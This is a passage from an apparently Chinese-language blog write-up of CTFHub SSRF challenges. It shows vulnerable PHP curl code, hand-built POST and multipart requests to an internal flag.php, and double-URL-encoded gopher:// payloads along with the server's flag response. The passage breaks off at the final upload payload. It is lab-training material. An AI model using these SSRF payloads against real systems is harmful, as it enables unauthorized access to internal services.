style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">flag</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">getenv</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">CTFHUB</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">key</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> md5</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">flag</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">isset</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_POST</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">key</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> &#x26;&#x26;</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_POST</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">key</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">key</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">flag</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    exit</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?--</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>看WP还多读了一个文件：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//关闭错误报告</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">error_reporting</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//判断url参数是否存在</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">!</span><span style=\"color:#998418;--shiki-dark:#B8A965\">isset</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_REQUEST</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">url</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    //不存在就跳转到当前根目录</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    header</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Location: /?url=_</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    exit</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//初始化curl</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> curl_init</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//指定请求的url</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">curl_setopt</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> CURLOPT_URL</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_REQUEST</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">url</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//告诉curl不返回http头，只返回http正文</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">curl_setopt</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> CURLOPT_HEADER</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//允许cURL跟随重定向。如果服务器响应包含重定向，cURL将自动处理。</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">curl_setopt</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> CURLOPT_FOLLOWLOCATION</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">curl_exec</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">curl_close</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>这段代码没有包含错误处理，也没有设置<code>CURLOPT_RETURNTRANSFER</code>选项，这可能导致cURL的输出直接被输出到浏览器，所以可以利用此curl漏洞进行攻击</p>\n<p>看样子我们需要使用POST提交一串key到内网的/flag.php中，那么我们可以采用gopher协议，首先构造POST包：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/%E5%8C%85.png\" class=\"\" title=\"包\"></p>\n<p>我们构造一下我们需要的内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>POST /flag.php HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: 127.0.0.1</span></span>\n<span class=\"line\"><span>Content-Type: application/x-www-form-urlencoded</span></span>\n<span class=\"line\"><span>Content-Length: 36</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>key=49719164264cb75cf9f7de397bdbe95e</span></span></code></pre>\n<p>URL编码之后加上%0d%0a：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%33%36%0a%0a%6b%65%79%3d%34%39%37%31%39%31%36%34%32%36%34%63%62%37%35%63%66%39%66%37%64%65%33%39%37%62%64%62%65%39%35%65%0d%0a</span></span></code></pre>\n<p>这里如果我们直接传入的话会看不到任何内容，这是由于 <strong>在向服务器发送请求时，首先浏览器会进行一次URL解码，其次服务器收到请求后，在执行curl功能时，进行第二次解码。</strong></p>\n<p>而如果我们仅仅进行了二次编码传入：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%61%25%30%61%25%36%62%25%36%35%25%37%39%25%33%64%25%33%34%25%33%39%25%33%37%25%33%31%25%33%39%25%33%31%25%33%36%25%33%34%25%33%32%25%33%36%25%33%34%25%36%33%25%36%32%25%33%37%25%33%35%25%36%33%25%36%36%25%33%39%25%36%36%25%33%37%25%36%34%25%36%35%25%33%33%25%33%39%25%33%37%25%36%32%25%36%34%25%36%32%25%36%35%25%33%39%25%33%35%25%36%35%25%30%64%25%30%61</span></span></code></pre>\n<p>这个内容传进去会显示400 bad reqest，这是因为%0A是<strong>ASCII</strong> 码中的换行符，在URL的二次编码中不需要，否则会导致curl执行错误，导致我们拿不到正确的结果，所以我们在第一次URL编码之后需要将%0a替换为%0d%0a，也就是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%33%36%0d%0a%0d%0a%6b%65%79%3d%34%39%37%31%39%31%36%34%32%36%34%63%62%37%35%63%66%39%66%37%64%65%33%39%37%62%64%62%65%39%35%65%0d%0d%0a</span></span></code></pre>\n<p>对这串内容进行二次URL编码;</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%64%25%30%61%25%30%64%25%30%61%25%36%62%25%36%35%25%37%39%25%33%64%25%33%34%25%33%39%25%33%37%25%33%31%25%33%39%25%33%31%25%33%36%25%33%34%25%33%32%25%33%36%25%33%34%25%36%33%25%36%32%25%33%37%25%33%35%25%36%33%25%36%36%25%33%39%25%36%36%25%33%37%25%36%34%25%36%35%25%33%33%25%33%39%25%33%37%25%36%32%25%36%34%25%36%32%25%36%35%25%33%39%25%33%35%25%36%35%25%30%64%25%30%64%25%30%61</span></span></code></pre>\n<p>将这串内容用/?url=gopher://127.0.0.1:80/_上传之后用view-source:我们能看到如下内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>HTTP/1.1 200 OK</span></span>\n<span class=\"line\"><span>Date: Wed, 11 Feb 2026 14:06:43 GMT</span></span>\n<span class=\"line\"><span>Server: Apache/2.4.25 (Debian)</span></span>\n<span class=\"line\"><span>X-Powered-By: PHP/5.6.40</span></span>\n<span class=\"line\"><span>Content-Length: 32</span></span>\n<span class=\"line\"><span>Content-Type: text/html; charset=UTF-8</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>ctfhub&#123;6165f2f6eb7f2fae1736f63b&#125;HTTP/1.1 400 Bad Request</span></span>\n<span class=\"line\"><span>Date: Wed, 11 Feb 2026 14:06:43 GMT</span></span>\n<span class=\"line\"><span>Server: Apache/2.4.25 (Debian)</span></span>\n<span class=\"line\"><span>Content-Length: 306</span></span>\n<span class=\"line\"><span>Connection: close</span></span>\n<span class=\"line\"><span>Content-Type: text/html; charset=iso-8859-1</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>&#x3C;!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"></span></span>\n<span class=\"line\"><span>&#x3C;html>&#x3C;head></span></span>\n<span class=\"line\"><span>&#x3C;title>400 Bad Request&#x3C;/title></span></span>\n<span class=\"line\"><span>&#x3C;/head>&#x3C;body></span></span>\n<span class=\"line\"><span>&#x3C;h1>Bad Request&#x3C;/h1></span></span>\n<span class=\"line\"><span>&#x3C;p>Your browser sent a request that this server could not understand.&#x3C;br /></span></span>\n<span class=\"line\"><span>&#x3C;/p></span></span>\n<span class=\"line\"><span>&#x3C;hr></span></span>\n<span class=\"line\"><span>&#x3C;address>Apache/2.4.25 (Debian) Server at 10.233.122.237 Port 80&#x3C;/address></span></span>\n<span class=\"line\"><span>&#x3C;/body>&#x3C;/html></span></span></code></pre>\n<p>奇怪，明明flag都出来结尾还有一个400，这里我猜测应该是我们在第一次URL编码之后加上了%0d%0a的原因，或许服务器在收到请求对我们的GET参数解码之后会在调用curl之前在末尾添加上%0d%0a，那么这就意味着结尾重复出现了%0d%0a，如果我们试着删除添加的%0d%0a呢？也就是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%33%36%0d%0a%0d%0a%6b%65%79%3d%34%39%37%31%39%31%36%34%32%36%34%63%62%37%35%63%66%39%66%37%64%65%33%39%37%62%64%62%65%39%35%65</span><span>  //%0a替换为%0d%0a之后</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%64%25%30%61%25%30%64%25%30%61%25%36%62%25%36%35%25%37%39%25%33%64%25%33%34%25%33%39%25%33%37%25%33%31%25%33%39%25%33%31%25%33%36%25%33%34%25%33%32%25%33%36%25%33%34%25%36%33%25%36%32%25%33%37%25%33%35%25%36%33%25%36%36%25%33%39%25%36%36%25%33%37%25%36%34%25%36%35%25%33%33%25%33%39%25%33%37%25%36%32%25%36%34%25%36%32%25%36%35%25%33%39%25%33%35%25%36%35</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/succ.png\" class=\"\" title=\"succ\"></p>\n<p>果然，这次没有再显示400了</p>\n<h3 id=\"上传文件\"><a class=\"anchor\" href=\"#上传文件\">#</a> 上传文件：</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>这次需要上传一个文件到flag.php了.祝你好运</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/%E4%B8%8A%E4%BC%A0.png\" class=\"\" title=\"上传\"></p>\n<p>我们试着直接访问<a href=\"http://127.0.0.1/flag.php%EF%BC%8C%E8%AE%A9%E6%88%91%E4%BB%AC%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6%E5%8F%AF%E6%98%AF%E6%B2%A1%E6%9C%89%E4%B8%8A%E4%BC%A0%E6%8C%89%E9%92%AE%EF%BC%8C%E5%8F%AA%E5%A5%BD%E6%89%8B%E5%8A%A8%E6%B7%BB%E5%8A%A0%E4%B8%80%E4%B8%AA%E4%BA%86%EF%BC%9A\">http://127.0.0.1/flag.php，让我们上传文件可是没有上传按钮，只好手动添加一个了：</a></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-html\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">input</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> type</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">submit</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> name</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">submit</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span></code></pre>\n<p>将这段代码添加到前端代码中，并且随便上传一个文件，显示：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Just View From 127.0.0.1</span></span></code></pre>\n<p>我们抓一下上传文件的包：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/%E4%B8%8A%E4%BC%A02.png\" class=\"\" title=\"上传 2\"></p>\n<p>那么我们再次构造一下POST请求：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>POST /flag.php HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: 127.0.0.1</span></span>\n<span class=\"line\"><span>Content-Type: multipart/form-data; boundary=----geckoformboundary7b8228c49e52730cc0c78876fb212042</span></span>\n<span class=\"line\"><span>Content-Length: 343</span></span>\n<span class=\"line\"><span>/*ZLARYY(我是标记)*/</span></span>\n<span class=\"line\"><span>------geckoformboundary7b8228c49e52730cc0c78876fb212042</span></span>\n<span class=\"line\"><span>Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"</span></span>\n<span class=\"line\"><span>Content-Type: text/plain</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>SSRF Upload</span></span>\n<span class=\"line\"><span>------geckoformboundary7b8228c49e52730cc0c78876fb212042</span></span>\n<span class=\"line\"><span>Content-Disposition: form-data; name=\"submit\"</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>提交查询</span></span>\n<span class=\"line\"><span>------geckoformboundary7b8228c49e52730cc0c78876fb212042--</span></span></code></pre>\n<p><strong>注意：在构造的时候，Content-Length表示HTTP请求中空行之后的所有内容的字节数，所以标记位置一定中间要有空行</strong></p>\n<p>这里就不废话了，直接给出最后的payload：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span 